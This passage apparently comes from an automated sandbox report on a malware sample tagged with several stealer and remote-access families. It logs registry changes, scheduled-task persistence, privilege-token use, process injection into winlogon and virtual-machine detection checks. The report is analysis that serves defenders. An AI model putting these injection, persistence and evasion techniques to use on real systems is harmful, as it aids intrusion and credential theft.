0b4df05b0345f755e6e63cf758a69d01786cf926c61f3c0a4247c9c59f936aa119a09e5b18c261cea73b131cfd18579d822dfe19f4d3a1a22e89a239c37a7e9049bce114eb583346e4213e1092dddc943a2c8d6be50d076fa8173d2237505b462725f3a15dabe1d1dcdce68a35568d94993834c708ee99f07e039dc7798b09599c1129eaa4d47dddcee3104e34cc73f82d32dbab775e624a6315a0511731e8494992f120737ddd0172ed506a2c015c9f5d52fe115ee45735aa74944e41aaa7cb568e34ba4e7f1d2dbf24a4751a5ff2c2b2b6f963f1dbb1238418a1ca66be1376d6270c042b16e1d053427ac8753fca78839b40a06f77f66b2e3c2cb264a9cf77626c57c93be85f21a61f8911d11eb49d9c1f05b96394d59141df7c25f975d6d7395e2e56067c9778bc3a4e0520a9e7f343ea9f70b56e5a264d4e99e90361134bf3e2bc405a165a7fc8a5834a776612a079abc1768430acf02a58d965364c90e30ad3e577ab31104e41dedc56ea7bd64ce0ab16856c66b93a0480c3ac67a9bfc72c7c345be8809036736d9740ec6c58e25d18a1ff35780c09e3f71943f76709fb9e2a9556624df47ec5adb02211bcee1dd636dcb3b43ad40186061db30371342b0ef0faa1aff9e8e962ef4cd9b1486e358489d37bc9de13635efae6875167ffb1445e670b4b70cc6bbf7589de0d759ec42bf988e9b96f7a898f14367cf39d85a96169dc1a05cbcbff594784cd1d9bdfe42a37f059c3fd119f80a8382a5f056f6517c0b500dae59fa41f71390815090d423d5443d9d162eb0f6b3df22c1966ed044dceea0038936654ee2eb4a8439a13727c9e9b39d9df90318e93f7acfd593e1ab8d24dc699cbcbc27b77a844cae1aca8b3acfa8fff7ae7f0db246ecfc020954fe5ea8b1a73da7d58527e10a4559e4cebf1d8c1cd0977fd18f062ed5f2e0494d06c320f01e5d633569e474c8084508dff8cda1cdb57d332fdab8f65a319d862b78202ad083e8f108fa10cfd7ee4d8a862c72fcdf9209c96a9a1a266aa55cbcf3c888024a6ddc5e5f83c0fb87b34098fa433a6b3f422220646ccc42816d534a349330537a39f26a6f6fba69244d7f631adf3061bb6ab08db9335e91e95b47d2317fa043dbed52b3c5165c7e18aece6493984af6b6818fd36fe4e0d1b84636617d3ac211e173d0707546b969ab7f7570c9268c6a45f230f5b5b6548a8484c085189169347791eda9f790855b81024d815f97dc1d7c8df64d1a3c6416045c7294e6c2b0f0086f5ecedf72e7b002e6f4314f72e7964a3b0d9b69ad731d4331965f94e322332d36908e3b5b45112ed790d75d4c4e77520afac565532328c7b6230bbd5a819d8704e61ed5a58be50195ecc99ec35c4263947985ae486369eecb22c665bd1e27eaa503a174aac53db9f9f9a0b6f7afe60f37482f3b4b79bf5974e7898768c60bbcb618248266c42305c3e3b6f086267eb29708f37663e663914bb6d3ba1e61e76d82ea882a333c11c4e8fa2d089b698cbabda28a3d9204c4cb14f9bc4988ceee5f65b715b54d274101e01500f56dfc171071cc1f1f1f6fd01f0584787a5c80f6aaf4a4286ed5275ef5d17e1e41468583e88c4cf4341cf23c01742e5c14b3fcc0626cbadac90637b3eabb6212c4a7b0d2564cf744d9896439c5139d665314058f7fb511df3012bcf05ee32d48f505a5776e89574521112e8d6db52800d42806bec8ff24846b8fe164b7892a80fcde732000d82e1205b96038ad64f623bcc825a5e958cc94a6bcfecb227183a8227af144d1069ed2f8fd1fc7f6b5e42963601a276f45178521446cd99f946d038db98e989dbbfaff989a73ce6f71346314a9a06b462466abe5b645f6984c8bba606756be0aef3e1098f207ded26511c0e3b0a8f6618ea1b561feec425039abb1c7f7e2cee3387cf94902504596cc3fa81c0fd798c346d89e1c9b2e7a026504611133ba2a0f54b23a8641ab400bd1cd620f9d2f61670a9dbadd53f9b5cfb596ae235ef534ae2d99b06ce48116a03c6dc95c9cbd406ec349956bd1cec8457abb1608dfcdc465fb1bcce642bc795dd1702b0ac0d1e4d1bde443bdd24e44656fc09aa1473da234e0515758a5c605fe445c243672b94ced0b75ccad6b0d2fef669ffbb19aa915c31b58ec08f70f97f3017236851a24ff08295c97175fe5c98e835ce9304df7d922a606ffc72a8a86bed8de77e5efa975ae5b97f53fae40b7da6ecc46e6d276929bbd55a11453d3794be87e08883ff578a40dad7328fe6bb93af1bf02c22a4eb75be69620481974d9e84635720411d60ede0b672a4625e5cefc911eb2f97309c1aa7c4d59d87f46e430b748c7d8e614b07df77b0f17f060b0fb8f363f44d64a11838f27435862076730930808aa06d3ae36b65a575043fa77bc79f1ddea76ea3b9bd41a7734caab366c8233b13428d5b5acade7f373d06b1952b026257eb516ff777f5dd5574d46cd1dd0691e27ce655334191bad10d46ab89adf93e42896e6f991909ab06e003eff9c192769a2468b1432b7f7b568fa1b4c1897cbb682f22d606f9c0970d0968cd861974f4138867ba79dd095f3d57557c641147608178732f9a2fd13b13bafe5af598acb4426769695d095d93c82b0f77816b20397892fa0286f2d779b0756dd9fe3450ae28607c24f10fd9dd5e40cd17c8b9dcd1c6da7afb33823e3fa98376134c6ea40a7da6dad910ab0e89a100442a1bccb422454120f1a18b7210fcf8e21fb8ac142dc433f4d09f7f640ab00409a233e1e82fa075177a8179d2835af01629ae3e08cd64323fc1db849413ac78e1f486c72e5923247fba192ae6e1cc69ddaabe86999a0384108d47df02d755330171243440b68550d3d3a3678149b2b76dfa07c5a29b9c185e67c381294ac9e109b96008a47d2f0b848d0e1855aec6d0a4a6639ad8a9f7cfc49b78f352cf4a651d80bfea9ec9e7aa1440d2300645242c8e757de4e9f54e740603c0709a5ac5a696bc49f9fd67a62b9c7efa7c4e36c8c00dee4a7373712701da15f7f0ce7ba90fc5ce547b309da0296c50eb37810cb606c74f3526bfe3c45bf33568dc8cb2a2574bef52d5b7bf0d376a09ea53aabb18437d98a3096915f1497538b905f5b3ecd305f27a38cc09fbe453257aba63b0828400fc1f03b1d42eeb98bd1f36b2ee0dc85803c0bf459cb3cc4ed74666532358abedb4b22318834bf11b34a71bd2ebb45181038a8cd676f3480e0275dbabadbfc983ff8c973da6304c4a40c278c5819b07abe6ecb45ab4630f52be60a4b32965b5da7cec6505c70253c1177cc7691d9af37ee6ac59c7bb26c48f527820f092b5e8b9becee344774163ef8eef48b31102d9be65dfab8cac9db0306f41dfdd171b8bf38aca37c526d98ef2a1d0151fa4a418f16985e6ea5adf44e70b88e98d0a07f5cb6c9adf48184bbaa5187bc413b8f02486ce4515136eb6c190c0d64031aa19370a67d264deae9f03854a80ffe0c69f0329400000000e11e2f8bc5cc0296c96c7869b6b2600a9003bc8a29623ef4c31013716e6b780213a747893f4ffd9cf5e65c5ab57da62fe9a3e78db4c33e556d51e2c2f771d34	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ciblnqlaaflltu\Provision Monday, November 09, 2026 04:26:32 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA/4XgFcAsi0WW4YkdfBMpegAAAAACAAAAAAAQZgAAAAEAACAAAAC1xYkoILRdefTmr+RH2voMI1ln9yChuYRXNCfa/SQJ2wAAAAAOgAAAAAIAACAAAAAAT0k1nu4bSZlm9SChDpGIVFFZixxMezwLhsRMlUuvpSAAAACk/1MIkitnL2tqjGJL9aVIzxjXOEiI3o7U887E+s33+EAAAAB/CVLY92ADgafTNhr+ms6sou/Ctj6yudHzNU5Cfpe/QkJvbT+AnGUyYGr+XE3Ad6RD5Qtn9/s6J6BB0jr6MKC8"	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018801AA81AA1AB = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000ff85e015c02c8b4596e1891d7c13297a0000000002000000000010660000000100002000000036835271506c10f2b2bcf5244fb7074c728a18673328be044bca97db177f97e1000000000e800000000200002000000018b7da16a94cced677077d68c842eaed10aed6d21675685be304a11c0c98cdf780000000841be888c6a254eae6377018d27367e56bfd37c393df6a29c77daa0c93bc4a173d08cf9b8c822c8ac18d49ad137bad45f97feff76041381d789d1d4dd4122f72743517f8dc99d925ab534cb5a6c82c7364110b53eff3bba4a34c071f55e58f757736f70f0aa4c7a8f2fa7f34af4715b5bf8e32af80b53e0af5ef7dc3ee401b0e40000000789b5fd72a3bce2560d031c52065c501557f040d85c9b49553edab2ff6d016bf5cf27bcb407cdbdca0e4c9a6a274e695b9fde6f143c15a1ca01938a87e5c219a	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 08 Nov 2026 01:53:39 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ciblnqlaaflltu\DeviceId = "<Data LastUpdatedTime=\"1794198393\"><User username=\"02CIBLNQLAAFLLTU\"/></Data>\r\n"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1794198406"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4416	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4032	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4940	powershell.exe
4940	powershell.exe
1032	powershell.exe
1032	powershell.exe
1224	powershell.exe
1224	powershell.exe
2496	Win-v42.exe
2496	Win-v42.exe
4828	Win-v43.exe
4828	Win-v43.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3904	powershell.exe
3904	powershell.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3904	powershell.exe
608	winlogon.exe
608	winlogon.exe
1012	Win-v41.exe
1012	Win-v41.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3300	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4940	powershell.exe
Token: SeDebugPrivilege	1032	powershell.exe
Token: SeDebugPrivilege	1224	powershell.exe
Token: SeTakeOwnershipPrivilege	860	takeown.exe
Token: SeShutdownPrivilege	2676	powercfg.exe
Token: SeCreatePagefilePrivilege	2676	powercfg.exe
Token: SeShutdownPrivilege	624	powercfg.exe
Token: SeCreatePagefilePrivilege	624	powercfg.exe
Token: SeShutdownPrivilege	2108	powercfg.exe
Token: SeCreatePagefilePrivilege	2108	powercfg.exe
Token: SeShutdownPrivilege	1660	powercfg.exe
Token: SeCreatePagefilePrivilege	1660	powercfg.exe
Token: SeShutdownPrivilege	1508	powercfg.exe
Token: SeCreatePagefilePrivilege	1508	powercfg.exe
Token: SeShutdownPrivilege	4764	powercfg.exe
Token: SeCreatePagefilePrivilege	4764	powercfg.exe
Token: SeShutdownPrivilege	3440	powercfg.exe
Token: SeCreatePagefilePrivilege	3440	powercfg.exe
Token: SeShutdownPrivilege	3440	powercfg.exe
Token: SeCreatePagefilePrivilege	3440	powercfg.exe
Token: SeLockMemoryPrivilege	1416	cmd.exe
Token: SeLockMemoryPrivilege	1416	cmd.exe
Token: SeDebugPrivilege	3904	powershell.exe
Token: SeDebugPrivilege	3904	powershell.exe
Token: SeDebugPrivilege	608	winlogon.exe
Token: SeShutdownPrivilege	3512	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3512	mousocoreworker.exe
Token: SeShutdownPrivilege	3768	RuntimeBroker.exe
Token: SeShutdownPrivilege	3300	Explorer.EXE
Token: SeCreatePagefilePrivilege	3300	Explorer.EXE
Token: SeShutdownPrivilege	3300	Explorer.EXE
Token: SeCreatePagefilePrivilege	3300	Explorer.EXE
Token: SeShutdownPrivilege	3512	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3512	mousocoreworker.exe
Token: SeShutdownPrivilege	3768	RuntimeBroker.exe
Token: SeShutdownPrivilege	3512	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3512	mousocoreworker.exe
Token: SeShutdownPrivilege	3512	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3512	mousocoreworker.exe
Token: SeShutdownPrivilege	3512	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3512	mousocoreworker.exe
Token: SeShutdownPrivilege	3768	RuntimeBroker.exe
Token: SeShutdownPrivilege	3300	Explorer.EXE
Token: SeCreatePagefilePrivilege	3300	Explorer.EXE
Token: SeShutdownPrivilege	3300	Explorer.EXE
Token: SeCreatePagefilePrivilege	3300	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe
Token: SeBackupPrivilege	2240	svchost.exe
Token: SeRestorePrivilege	2240	svchost.exe
Token: SeShutdownPrivilege	2240	svchost.exe
Token: SeSystemEnvironmentPrivilege	2240	svchost.exe
Token: SeUndockPrivilege	2240	svchost.exe
Token: SeManageVolumePrivilege	2240	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1416	cmd.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
220	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4652 wrote to memory of 4940	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	84
PID 4652 wrote to memory of 1032	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	86
PID 4652 wrote to memory of 1224	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	88
PID 4652 wrote to memory of 4032	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	90
PID 4652 wrote to memory of 620	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	92
PID 620 wrote to memory of 3872	620	cmd.exe	94
PID 4652 wrote to memory of 2772	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	97
PID 2772 wrote to memory of 860	2772	cmd.exe	101
PID 4652 wrote to memory of 2004	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	105
PID 2004 wrote to memory of 1324	2004	cmd.exe	109
PID 4652 wrote to memory of 2180	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	110
PID 2180 wrote to memory of 672	2180	cmd.exe	112
PID 4652 wrote to memory of 2676	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	113
PID 4652 wrote to memory of 624	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	115
PID 4652 wrote to memory of 2108	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	117
PID 4652 wrote to memory of 1660	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	119
PID 4652 wrote to memory of 1508	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	121
PID 4652 wrote to memory of 4764	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	123
PID 4652 wrote to memory of 3440	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	125
PID 4652 wrote to memory of 2608	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	127
PID 2608 wrote to memory of 4416	2608	cmd.exe	129
PID 4652 wrote to memory of 1416	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	134
PID 4652 wrote to memory of 2136	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	136
PID 728 wrote to memory of 3904	728	cmd.exe	138
PID 3904 wrote to memory of 608	3904	powershell.exe	5
PID 608 wrote to memory of 664	608	winlogon.exe	7
PID 608 wrote to memory of 872	608	winlogon.exe	11
PID 608 wrote to memory of 1000	608	winlogon.exe	13
PID 608 wrote to memory of 400	608	winlogon.exe	14
PID 608 wrote to memory of 648	608	winlogon.exe	15
PID 608 wrote to memory of 1080	608	winlogon.exe	17
PID 608 wrote to memory of 1148	608	winlogon.exe	18
PID 608 wrote to memory of 1160	608	winlogon.exe	19
PID 608 wrote to memory of 1180	608	winlogon.exe	20
PID 608 wrote to memory of 1232	608	winlogon.exe	21
PID 608 wrote to memory of 1012	608	winlogon.exe	142
PID 608 wrote to memory of 1300	608	winlogon.exe	22
PID 608 wrote to memory of 1312	608	winlogon.exe	23
PID 608 wrote to memory of 1376	608	winlogon.exe	24
PID 608 wrote to memory of 1392	608	winlogon.exe	25
PID 608 wrote to memory of 1488	608	winlogon.exe	26
PID 608 wrote to memory of 1596	608	winlogon.exe	27
PID 608 wrote to memory of 1664	608	winlogon.exe	28
PID 608 wrote to memory of 1700	608	winlogon.exe	29
PID 608 wrote to memory of 1808	608	winlogon.exe	30
PID 608 wrote to memory of 1864	608	winlogon.exe	31
PID 608 wrote to memory of 1888	608	winlogon.exe	32
PID 608 wrote to memory of 1956	608	winlogon.exe	33
PID 608 wrote to memory of 1964	608	winlogon.exe	34
PID 608 wrote to memory of 1840	608	winlogon.exe	35
PID 608 wrote to memory of 1136	608	winlogon.exe	36
PID 608 wrote to memory of 2052	608	winlogon.exe	37
PID 608 wrote to memory of 2156	608	winlogon.exe	38
PID 608 wrote to memory of 2240	608	winlogon.exe	39
PID 608 wrote to memory of 2284	608	winlogon.exe	40
PID 608 wrote to memory of 2388	608	winlogon.exe	42
PID 608 wrote to memory of 2424	608	winlogon.exe	43
PID 608 wrote to memory of 2700	608	winlogon.exe	44
PID 608 wrote to memory of 2708	608	winlogon.exe	45
PID 608 wrote to memory of 2832	608	winlogon.exe	46
PID 608 wrote to memory of 2856	608	winlogon.exe	47
PID 608 wrote to memory of 2892	608	winlogon.exe	48
PID 608 wrote to memory of 2900	608	winlogon.exe	49
PID 608 wrote to memory of 3004	608	winlogon.exe	51

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:608
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:400
- C:\Windows\Win-v41.exe
  "C:\Windows\Win-v41.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1012

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
PID:664

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-55ace5a3-206d-46f5-bd27-a6c395231c8d -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-eb07a998-f409-466e-9728-6cffb63c740f -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-61fdd1c4-c6b7-40c6-9e80-5d769cec9189 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b2e7009a-8c96-42a2-983f-d6d621b24763 -LifetimeId:e17811ac-6b47-4fce-bec8-0cd9f3903838 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:872

C:\Windows\system32\svchost.exe
